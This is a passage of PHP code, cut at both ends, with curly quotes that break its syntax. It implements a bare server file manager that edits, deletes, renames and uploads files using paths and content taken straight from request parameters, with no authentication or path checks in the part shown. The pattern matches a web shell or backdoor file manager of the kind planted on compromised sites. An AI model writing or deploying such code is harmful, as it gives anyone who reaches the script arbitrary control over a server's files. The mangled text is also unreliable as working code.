“; exit; } if ($action === ‘edit’ && $file && file_exists($file)) { if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) { file_put_contents($file, $_POST[‘content’]); echo “saved
“; } echo “
“; exit; } if ($action === ‘delete’ && $file && file_exists($file)) { unlink($file); header(“Location: ?dir=” . urlencode(dirname($file))); exit; } if ($action === ‘rename’ && $file && file_exists($file) && $_SERVER[‘REQUEST_METHOD’] === ‘POST’) { rename($file, dirname($file) . DIRECTORY_SEPARATOR . basename($_POST[‘new_name’])); header(“Location: ?dir=” . urlencode(dirname($file))); exit; } if (!empty($_FILES[‘upload’])) { move_uploaded_file($_FILES[‘upload’][‘tmp_name’], $currentDir . DIRECTORY_SEPARATOR . basename($_FILES[‘upload’][‘name’])); } echo “
“; echo “